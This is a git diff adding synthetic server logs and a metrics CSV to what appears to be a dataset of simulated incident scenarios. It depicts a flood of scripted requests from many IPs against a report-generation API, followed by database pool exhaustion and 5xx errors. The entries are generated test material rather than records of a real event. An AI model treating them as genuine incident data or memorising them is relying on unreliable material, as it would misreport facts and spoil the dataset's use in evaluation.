..." +188.163.94.137 - - [15/Aug/2025:10:02:55 +0000] "POST /api/v1/reports/generate?type=financial&range=last_year HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +188.163.94.137 - - [15/Aug/2025:10:04:00 +0000] "POST /api/v1/reports/generate?type=financial&range=last_year HTTP/1.1" 504 1234 "-" "Mozilla/5.0 ..." +188.163.94.137 - - [15/Aug/2025:10:04:55 +0000] "POST /api/v1/reports/generate?type=financial&range=last_year HTTP/1.1" 504 1234 "-" "Mozilla/5.0 ..." +188.163.94.137 - - [15/Aug/2025:10:05:00 +0000] "POST /api/v1/reports/generate?type=user_analytics&range=last_year HTTP/1.1" 504 1234 "-" "Mozilla/5.0 ..." +188.163.94.137 - - [15/Aug/2025:10:05:05 +0000] "POST /api/v1/reports/generate?type=inventory_deep_dive&range=last_year HTTP/1.1" 504 1234 "-" "Mozilla/5.0 ..." +188.163.94.137 - - [15/Aug/2025:10:05:35 +0000] "POST /api/v1/reports/generate?type=inventory_deep_dive&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.94.137 - - [15/Aug/2025:10:05:50 +0000] "POST /api/v1/reports/generate?type=financial&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.98.25 - - [15/Aug/2025:10:02:40 +0000] "POST /api/v1/reports/generate?type=financial&range=last_year HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +188.163.98.25 - - [15/Aug/2025:10:02:50 +0000] "POST /api/v1/reports/generate?type=sales_performance&range=last_year HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +188.163.98.25 - - [15/Aug/2025:10:03:20 +0000] "POST /api/v1/reports/generate?type=inventory_deep_dive&range=last_year HTTP/1.1" 504 1234 "-" "Mozilla/5.0 ..." +188.163.98.25 - - [15/Aug/2025:10:04:35 +0000] "POST /api/v1/reports/generate?type=financial&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.98.25 - - [15/Aug/2025:10:04:40 +0000] "POST /api/v1/reports/generate?type=sales_performance&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.98.25 - - [15/Aug/2025:10:05:40 +0000] "POST /api/v1/reports/generate?type=financial&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.98.25 - - [15/Aug/2025:10:06:45 +0000] "POST /api/v1/reports/generate?type=financial&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.98.25 - - [15/Aug/2025:10:06:55 +0000] "POST /api/v1/reports/generate?type=inventory_deep_dive&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +2025-08-15 10:03:00.000 UTC [3456] LOG: duration: 18360.455 ms statement: SELECT ... FROM sales_data JOIN ... WHERE complex_condition ... +2025-08-15 10:03:10.000 UTC [3456] LOG: duration: 22503.675 ms statement: SELECT ... FROM sales_data JOIN ... WHERE complex_condition ... +2025-08-15 10:03:25.000 UTC [3456] LOG: duration: 25896.676 ms statement: SELECT ... FROM sales_data JOIN ... WHERE complex_condition ... +2025-08-15 10:03:35.000 UTC [3456] LOG: duration: 34341.580 ms statement: SELECT ... FROM sales_data JOIN ... WHERE complex_condition ... +2025-08-15 10:03:40.000 UTC [3456] LOG: duration: 33503.439 ms statement: SELECT ... FROM sales_data JOIN ... WHERE complex_condition ... +2025-08-15 10:03:45.000 UTC [3456] LOG: duration: 16458.484 ms statement: SELECT ... FROM sales_data JOIN ... WHERE complex_condition ... +2025-08-15 10:03:50.000 UTC [3456] LOG: duration: 23980.415 ms statement: SELECT ... FROM sales_data JOIN ... WHERE complex_condition ... +2025-08-15 10:03:55.000 UTC [3456] LOG: duration: 23846.823 ms statement: SELECT ... FROM sales_data JOIN ... WHERE complex_condition ... +2025-08-15 10:04:25.000 UTC [3456] LOG: duration: 32058.240 ms statement: SELECT ... FROM sales_data JOIN ... WHERE complex_condition ... +2025-08-15 10:04:45.000 UTC [3456] LOG: duration: 29157.671 ms statement: SELECT ... FROM sales_data JOIN ... WHERE complex_condition ... +2025-08-15 10:04:55.000 UTC [3456] LOG: duration: 23115.049 ms statement: SELECT ... FROM sales_data JOIN ... WHERE complex_condition ... +2025-08-15 10:05:15.000 UTC [3456] LOG: duration: 27303.015 ms statement: SELECT ... FROM sales_data JOIN ... WHERE complex_condition ... +2025-08-15 10:05:25.000 UTC [3456] LOG: duration: 33943.394 ms statement: SELECT ... FROM sales_data JOIN ... WHERE complex_condition ... +2025-08-15 10:05:45.000 UTC [3456] LOG: duration: 29446.814 ms statement: SELECT ... FROM sales_data JOIN ... WHERE complex_condition ... +2025-08-15 10:05:50.000 UTC [3456] LOG: duration: 15584.979 ms statement: SELECT ... FROM sales_data JOIN ... WHERE complex_condition ... +2025-08-15 10:06:00.000 UTC [3456] LOG: duration: 31472.907 ms statement: SELECT ... FROM sales_data JOIN ... WHERE complex_condition ... +2025-08-15 10:06:05.000 UTC [3456] LOG: duration: 27980.980 ms statement: SELECT ... FROM sales_data JOIN ... WHERE complex_condition ... +2025-08-15 10:06:20.000 UTC [3456] LOG: duration: 29768.015 ms statement: SELECT ... FROM sales_data JOIN ... WHERE complex_condition ... +2025-08-15 10:06:35.000 UTC [3456] LOG: duration: 29984.193 ms statement: SELECT ... FROM sales_data JOIN ... WHERE complex_condition ... +2025-08-15 10:06:40.000 UTC [3456] LOG: duration: 22696.816 ms statement: SELECT ... FROM sales_data JOIN ... WHERE complex_condition ... +2025-08-15 10:07:00.000 UTC [3456] LOG: duration: 24884.055 ms statement: SELECT ... FROM sales_data JOIN ... WHERE complex_condition ... +72.21.215.101 - - [15/Aug/2025:10:00:05 +0000] "POST /api/v1/user/profile HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +72.21.215.101 - - [15/Aug/2025:10:01:10 +0000] "POST /api/v1/user/profile HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +72.21.215.101 - - [15/Aug/2025:10:01:20 +0000] "POST /static/css/main.css HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +72.21.215.101 - - [15/Aug/2025:10:01:30 +0000] "POST / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +72.21.215.106 - - [15/Aug/2025:10:00:00 +0000] "POST /static/css/main.css HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +72.21.215.106 - - [15/Aug/2025:10:00:35 +0000] "POST / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +72.21.215.106 - - [15/Aug/2025:10:02:00 +0000] "POST /static/css/main.css HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +72.21.215.106 - - [15/Aug/2025:10:02:15 +0000] "POST /dashboard HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +72.21.215.114 - - [15/Aug/2025:10:00:55 +0000] "POST /dashboard HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +72.21.215.114 - - [15/Aug/2025:10:01:00 +0000] "POST / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +72.21.215.114 - - [15/Aug/2025:10:01:35 +0000] "POST / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +72.21.215.114 - - [15/Aug/2025:10:01:45 +0000] "POST /dashboard HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +72.21.215.114 - - [15/Aug/2025:10:02:05 +0000] "POST /dashboard HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +72.21.215.114 - - [15/Aug/2025:10:04:50 +0000] "POST /dashboard HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +72.21.215.115 - - [15/Aug/2025:10:00:20 +0000] "POST /dashboard HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +72.21.215.115 - - [15/Aug/2025:10:01:25 +0000] "POST /static/css/main.css HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +72.21.215.115 - - [15/Aug/2025:10:02:20 +0000] "POST /static/css/main.css HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +72.21.215.92 - - [15/Aug/2025:10:00:25 +0000] "POST /static/css/main.css HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +72.21.215.92 - - [15/Aug/2025:10:01:05 +0000] "POST /dashboard HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +72.21.215.92 - - [15/Aug/2025:10:01:50 +0000] "POST / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +72.21.215.92 - - [15/Aug/2025:10:03:25 +0000] "POST /dashboard HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +Aug 15 10:00:00 systemd[1]: Starting daily user session cleanup... +Aug 15 10:00:10 systemd[1]: Starting daily user session cleanup... +Aug 15 10:00:45 systemd[1]: Starting daily user session cleanup... +Aug 15 10:01:00 systemd[1]: Starting daily user session cleanup... +Aug 15 10:01:25 systemd[1]: Starting daily user session cleanup... +Aug 15 10:03:00 web-app[2345]: WARN Connection pool 'report_db_pool' exhausted. Request queued. +Aug 15 10:03:20 web-app[2345]: ERROR Database connection timeout while generating report +Aug 15 10:03:25 web-app[2345]: WARN Connection pool 'report_db_pool' exhausted. Request queued. +Aug 15 10:03:35 web-app[2345]: ERROR Database connection timeout while generating report +Aug 15 10:04:05 web-app[2345]: ERROR Database connection timeout while generating report +Aug 15 10:04:20 web-app[2345]: WARN Connection pool 'report_db_pool' exhausted. Request queued. +Aug 15 10:04:40 web-app[2345]: WARN Connection pool 'report_db_pool' exhausted. Request queued. +Aug 15 10:04:55 web-app[2345]: ERROR Database connection timeout while generating report +Aug 15 10:05:15 web-app[2345]: ERROR Database connection timeout while generating report +Aug 15 10:05:20 web-app[2345]: ERROR Database connection timeout while generating report +Aug 15 10:05:35 web-app[2345]: WARN Connection pool 'report_db_pool' exhausted. Request queued. +Aug 15 10:06:30 web-app[2345]: WARN Connection pool 'report_db_pool' exhausted. Request queued. +Aug 15 10:06:40 web-app[2345]: ERROR Database connection timeout while generating report +Aug 15 10:06:45 web-app[2345]: ERROR Database connection timeout while generating report +Aug 15 10:06:50 web-app[2345]: ERROR Database connection timeout while generating report +Aug 15 10:07:05 web-app[2345]: ERROR Database connection timeout while generating report +Aug 15 10:07:15 web-app[2345]: ERROR Database connection timeout while generating report +Aug 15 10:07:15 web-app[2345]: WARN Connection pool 'report_db_pool' exhausted. Request queued. diff --git a/mali_dataset/scenario_12/mali_12_3.csv b/mali_dataset/scenario_12/mali_12_3.csv new file mode 100644 index 0000000000000000000000000000000000000000..b73f2dfeb655b62660840d997f8bf7d5064506b8 --- /dev/null +++ b/mali_dataset/scenario_12/mali_12_3.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T10:00:00Z,12.16,44.09,26.68,1.49,2.18 +2025-08-15T10:00:05Z,13.5,42.12,16.46,2.64,2.7 +2025-08-15T10:00:10Z,19.86,35.72,19.22,1.97,1.16 +2025-08-15T10:00:15Z,22.71,42.71,19.06,2.29,1.75 +2025-08-15T10:00:20Z,24.4,37.07,23.54,2.87,2.84 +2025-08-15T10:00:25Z,24.26,44.73,21.47,2.12,2.96 +2025-08-15T10:00:30Z,10.73,35.7,27.83,2.48,2.65 +2025-08-15T10:00:35Z,24.23,40.25,24.47,1.36,2.87 +2025-08-15T10:00:40Z,12.19,43.63,25.8,1.55,1.05 +2025-08-15T10:00:45Z,10.61,37.47,21.6,2.66,1.53 +2025-08-15T10:00:50Z,17.69,42.1,20.72,2.73,1.53 +2025-08-15T10:00:55Z,16.51,45.0,25.19,2.79,2.65 +2025-08-15T10:01:00Z,17.33,42.58,22.8,2.71,1.67 +2025-08-15T10:01:05Z,22.5,41.68,24.33,2.59,1.45 +2025-08-15T10:01:10Z,23.37,38.72,21.33,2.04,1.39 +2025-08-15T10:01:15Z,12.65,44.65,25.13,1.18,1.32 +2025-08-15T10:01:20Z,17.34,41.77,27.87,2.4,1.7 +2025-08-15T10:01:25Z,21.5,39.29,28.08,2.34,2.37 +2025-08-15T10:01:30Z,10.78,43.41,21.24,1.89,1.92 +2025-08-15T10:01:35Z,17.02,41.75,24.29,1.17,1.03 +2025-08-15T10:01:40Z,14.49,41.08,16.55,2.86,1.71 +2025-08-15T10:01:45Z,18.88,42.33,29.74,1.09,2.26 +2025-08-15T10:01:50Z,11.68,44.3,22.22,2.33,1.96 +2025-08-15T10:01:55Z,19.38,38.35,25.86,2.72,2.14 +2025-08-15T10:02:00Z,16.46,44.75,23.93,1.02,1.94 +2025-08-15T10:02:05Z,30.0,45.0,30.0,22.07,0.91 +2025-08-15T10:02:10Z,47.48,50.0,37.14,18.97,1.41 +2025-08-15T10:02:15Z,64.95,55.0,44.29,17.06,1.07 +2025-08-15T10:02:20Z,82.43,60.0,51.43,22.47,1.98 +2025-08-15T10:02:25Z,99.9,65.0,58.57,17.69,1.33 +2025-08-15T10:02:30Z,99.8,70.0,65.71,21.76,0.67 +2025-08-15T10:02:35Z,99.69,75.0,72.86,24.32,0.98 +2025-08-15T10:02:40Z,99.52,80.0,80.0,17.21,0.6 +2025-08-15T10:02:45Z,99.63,85.0,81.08,17.46,0.98 +2025-08-15T10:02:50Z,99.83,90.0,88.24,23.79,1.32 +2025-08-15T10:02:55Z,99.56,94.35,77.95,24.66,0.54 +2025-08-15T10:03:00Z,99.59,92.77,79.12,16.32,0.9 +2025-08-15T10:03:05Z,99.8,91.36,75.85,19.11,0.64 +2025-08-15T10:03:10Z,99.95,93.69,84.57,17.02,0.91 +2025-08-15T10:03:15Z,99.74,91.37,75.46,19.09,0.56 +2025-08-15T10:03:20Z,99.74,88.17,88.18,22.12,0.57 +2025-08-15T10:03:25Z,99.55,89.47,85.44,22.53,1.95 +2025-08-15T10:03:30Z,99.53,93.5,88.0,23.23,1.49 +2025-08-15T10:03:35Z,99.79,89.91,81.96,23.34,1.48 +2025-08-15T10:03:40Z,99.66,90.69,86.51,19.93,1.24 +2025-08-15T10:03:45Z,99.92,94.86,82.3,15.8,1.7 +2025-08-15T10:03:50Z,99.76,90.32,87.73,24.72,0.5 +2025-08-15T10:03:55Z,99.9,90.04,89.25,21.03,0.56 +2025-08-15T10:04:00Z,99.59,89.22,87.09,22.55,1.42 +2025-08-15T10:04:05Z,99.98,92.39,89.95,19.85,0.5 +2025-08-15T10:04:10Z,99.8,93.84,81.16,24.63,1.83 +2025-08-15T10:04:15Z,99.91,94.33,82.1,17.69,1.05 +2025-08-15T10:04:20Z,99.78,92.64,75.61,24.01,1.91 +2025-08-15T10:04:25Z,99.63,90.93,85.06,15.54,1.28 +2025-08-15T10:04:30Z,99.98,90.69,78.09,20.64,1.88 +2025-08-15T10:04:35Z,99.67,89.06,82.65,17.53,1.41 +2025-08-15T10:04:40Z,99.55,92.79,85.06,24.32,0.55 +2025-08-15T10:04:45Z,99.81,92.31,75.4,21.06,1.55 +2025-08-15T10:04:50Z,99.64,91.7,88.38,16.96,1.66 +2025-08-15T10:04:55Z,99.56,90.44,84.1,23.13,1.79 +2025-08-15T10:05:00Z,99.5,91.24,76.04,22.73,1.87 +2025-08-15T10:05:05Z,99.73,94.69,86.53,24.61,0.58 +2025-08-15T10:05:10Z,99.76,89.28,79.41,24.57,1.76 +2025-08-15T10:05:15Z,99.75,92.19,81.1,23.98,1.3 +2025-08-15T10:05:20Z,99.88,93.26,80.71,18.98,1.83 +2025-08-15T10:05:25Z,99.87,92.92,87.61,18.29,0.53 +2025-08-15T10:05:30Z,99.64,88.78,79.83,20.65,1.22 +2025-08-15T10:05:35Z,99.75,90.69,88.52,21.79,1.56 +2025-08-15T10:05:40Z,99.52,90.98,86.77,17.82,2.0 +2025-08-15T10:05:45Z,99.66,90.3,77.18,21.5,1.83 +2025-08-15T10:05:50Z,99.98,92.39,83.75,23.25,0.87 +2025-08-15T10:05:55Z,100.0,89.35,80.33,24.43,1.42 +2025-08-15T10:06:00Z,99.74,88.93,89.14,17.87,1.72 +2025-08-15T10:06:05Z,99.58,93.4,85.63,21.94,1.66 +2025-08-15T10:06:10Z,99.77,91.56,87.0,19.76,0.66 +2025-08-15T10:06:15Z,99.68,89.01,75.29,17.17,1.51 +2025-08-15T10:06:20Z,99.83,93.8,88.22,23.81,1.81 +2025-08-15T10:06:25Z,99.81,90.26,82.01,20.52,1.8 +2025-08-15T10:06:30Z,99.92,89.42,80.54,19.02,1.03 +2025-08-15T10:06:35Z,99.57,91.22,75.35,24.05,1.47 +2025-08-15T10:06:40Z,99.7,90.72,77.47,20.62,1.41 +2025-08-15T10:06:45Z,99.69,93.9,78.06,24.68,1.44 +2025-08-15T10:06:50Z,99.57,92.23,89.65,23.38,1.0 +2025-08-15T10:06:55Z,99.74,91.13,88.32,19.69,0.71 +2025-08-15T10:07:00Z,99.71,92.19,87.14,17.52,0.55 +2025-08-15T10:07:05Z,99.62,90.57,84.08,20.59,1.84 +2025-08-15T10:07:10Z,99.77,88.37,78.3,22.66,1.49 +2025-08-15T10:07:15Z,99.64,88.68,77.54,21.27,0.92 +2025-08-15T10:07:20Z,99.9,94.31,78.07,23.24,1.36 +2025-08-15T10:07:25Z,99.9,90.6,85.34,24.03,1.91 diff --git a/mali_dataset/scenario_12/mali_12_3.log b/mali_dataset/scenario_12/mali_12_3.log new file mode 100644 index 0000000000000000000000000000000000000000..d718828d58f76ce695597ac9c2eca5b8d6bc25da --- /dev/null +++ b/mali_dataset/scenario_12/mali_12_3.log @@ -0,0 +1,373 @@ +Aug 15 10:00:00 api-gateway[1122]: 10.0.1.5 - GET /healthcheck status=200 OK +Aug 15 10:00:05 nginx[80]: 10.0.5.25 - - [15/Aug/2025:10:00:05 +0000] "GET /api/v1/users/profile HTTP/1.1" 200 1024 "-" "Mozilla/5.0" +Aug 15 10:00:10 web-app[2345]: INFO: User authentication successful for user_id: 163 +Aug 15 10:00:15 web-app[2345]: INFO: User authentication successful for user_id: 183 +Aug 15 10:00:20 web-app[2345]: INFO: User authentication successful for user_id: 110 +Aug 15 10:00:25 api-gateway[1122]: 10.0.1.5 - GET /healthcheck status=200 OK +Aug 15 10:00:30 nginx[80]: 10.0.5.25 - - [15/Aug/2025:10:00:30 +0000] "GET /api/v1/users/profile HTTP/1.1" 200 1024 "-" "Mozilla/5.0" +Aug 15 10:00:35 web-app[2345]: INFO: User authentication successful for user_id: 178 +Aug 15 10:00:40 web-app[2345]: INFO: User authentication successful for user_id: 148 +Aug 15 10:00:45 web-app[2345]: INFO: User authentication successful for user_id: 112 +Aug 15 10:00:50 api-gateway[1122]: 10.0.1.5 - GET /healthcheck status=200 OK +Aug 15 10:00:55 nginx[80]: 172.16.33.101 - - [15/Aug/2025:10:00:55 +0000] "GET /api/v1/users/profile HTTP/1.1" 200 1024 "-" "Mozilla/5.0" +Aug 15 10:01:00 web-app[2345]: INFO: User authentication successful for user_id: 133 +Aug 15 10:01:05 web-app[2345]: INFO: User authentication successful for user_id: 162 +Aug 15 10:01:10 web-app[2345]: INFO: User authentication successful for user_id: 128 +Aug 15 10:01:15 api-gateway[1122]: 10.0.1.5 - GET /healthcheck status=200 OK +Aug 15 10:01:20 nginx[80]: 192.168.1.10 - - [15/Aug/2025:10:01:20 +0000] "GET /api/v1/users/profile HTTP/1.1" 200 1024 "-" "Mozilla/5.0" +Aug 15 10:01:25 web-app[2345]: INFO: User authentication successful for user_id: 112 +Aug 15 10:01:30 web-app[2345]: INFO: User authentication successful for user_id: 145 +Aug 15 10:01:35 web-app[2345]: INFO: User authentication successful for user_id: 128 +Aug 15 10:01:40 api-gateway[1122]: 10.0.1.5 - GET /healthcheck status=200 OK +Aug 15 10:01:45 nginx[80]: 10.0.5.25 - - [15/Aug/2025:10:01:45 +0000] "GET /api/v1/users/profile HTTP/1.1" 200 1024 "-" "Mozilla/5.0" +Aug 15 10:01:50 web-app[2345]: INFO: User authentication successful for user_id: 102 +Aug 15 10:01:55 web-app[2345]: INFO: User authentication successful for user_id: 108 +Aug 15 10:02:00 web-app[2345]: INFO: User authentication successful for user_id: 155 +Aug 15 10:02:05 nginx[80]: 135.62.172.45 - - [15/Aug/2025:10:02:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:05 nginx[80]: 187.85.97.85 - - [15/Aug/2025:10:02:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:05 nginx[80]: 186.135.39.217 - - [15/Aug/2025:10:02:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:05 nginx[80]: 101.120.85.128 - - [15/Aug/2025:10:02:05 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:10 nginx[80]: 206.157.147.188 - - [15/Aug/2025:10:02:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:10 nginx[80]: 219.215.112.2 - - [15/Aug/2025:10:02:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:10 nginx[80]: 101.120.85.128 - - [15/Aug/2025:10:02:10 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:15 nginx[80]: 246.224.31.210 - - [15/Aug/2025:10:02:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:02:15 nginx[80]: 192.49.179.237 - - [15/Aug/2025:10:02:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:02:15 nginx[80]: 12.119.137.225 - - [15/Aug/2025:10:02:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:15 nginx[80]: 228.44.154.120 - - [15/Aug/2025:10:02:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:15 nginx[80]: 59.255.215.155 - - [15/Aug/2025:10:02:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:15 nginx[80]: 22.36.52.200 - - [15/Aug/2025:10:02:15 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:20 nginx[80]: 6.175.20.195 - - [15/Aug/2025:10:02:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:02:20 nginx[80]: 171.135.11.91 - - [15/Aug/2025:10:02:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:02:20 nginx[80]: 22.36.52.200 - - [15/Aug/2025:10:02:20 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:25 nginx[80]: 135.62.172.45 - - [15/Aug/2025:10:02:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:02:25 nginx[80]: 192.49.179.237 - - [15/Aug/2025:10:02:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:02:25 nginx[80]: 173.98.52.168 - - [15/Aug/2025:10:02:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:02:25 nginx[80]: 89.16.201.49 - - [15/Aug/2025:10:02:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:02:25 nginx[80]: 16.227.223.87 - - [15/Aug/2025:10:02:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:25 nginx[80]: 246.244.93.63 - - [15/Aug/2025:10:02:25 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:02:30 nginx[80]: 28.82.91.144 - - [15/Aug/2025:10:02:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:02:30 nginx[80]: 173.98.52.168 - - [15/Aug/2025:10:02:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:02:30 nginx[80]: 16.227.223.87 - - [15/Aug/2025:10:02:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:02:30 nginx[80]: 207.77.242.110 - - [15/Aug/2025:10:02:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:02:30 nginx[80]: 236.99.103.115 - - [15/Aug/2025:10:02:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:02:30 nginx[80]: 186.135.39.217 - - [15/Aug/2025:10:02:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:02:30 nginx[80]: 13.110.38.43 - - [15/Aug/2025:10:02:30 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:35 nginx[80]: 238.142.245.149 - - [15/Aug/2025:10:02:35 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:02:35 nginx[80]: 232.141.2.101 - - [15/Aug/2025:10:02:35 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:35 nginx[80]: 16.227.223.87 - - [15/Aug/2025:10:02:35 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:35 nginx[80]: 171.135.11.91 - - [15/Aug/2025:10:02:35 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:02:40 nginx[80]: 193.254.182.65 - - [15/Aug/2025:10:02:40 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:02:40 nginx[80]: 13.110.38.43 - - [15/Aug/2025:10:02:40 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:02:40 nginx[80]: 59.71.26.124 - - [15/Aug/2025:10:02:40 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:02:40 nginx[80]: 221.45.145.143 - - [15/Aug/2025:10:02:40 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:45 nginx[80]: 246.244.93.63 - - [15/Aug/2025:10:02:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:45 nginx[80]: 127.10.138.176 - - [15/Aug/2025:10:02:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 504 52 "-" "Python/3.9" +Aug 15 10:02:45 nginx[80]: 16.227.223.87 - - [15/Aug/2025:10:02:45 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 500 52 "-" "Python/3.9" +Aug 15 10:02:45 web-app[2345]: ERROR: Connection pool exhausted. Could not get a DB connection. +Aug 15 10:02:50 nginx[80]: 187.85.97.85 - - [15/Aug/2025:10:02:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:50 nginx[80]: 186.135.39.217 - - [15/Aug/2025:10:02:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:50 nginx[80]: 101.120.85.128 - - [15/Aug/2025:10:02:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:50 nginx[80]: 192.49.179.237 - - [15/Aug/2025:10:02:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 429 52 "-" "Python/3.9" +Aug 15 10:02:50 nginx[80]: 127.10.138.176 - - [15/Aug/2025:10:02:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:50 nginx[80]: 186.135.39.217 - - [15/Aug/2025:10:02:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:50 nginx[80]: 228.44.154.120 - - [15/Aug/2025:10:02:50 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:55 nginx[80]: 232.141.2.101 - - [15/Aug/2025:10:02:55 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:55 nginx[80]: 67.182.51.66 - - [15/Aug/2025:10:02:55 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" +Aug 15 10:02:55 nginx[80]: 246.244.93.63 - - [15/Aug/2025:10:02:55 +0000] "GET /api/v1/reports/generate?type=full_financials HTTP/1.1" 503 52 "-" "Python/3.9" 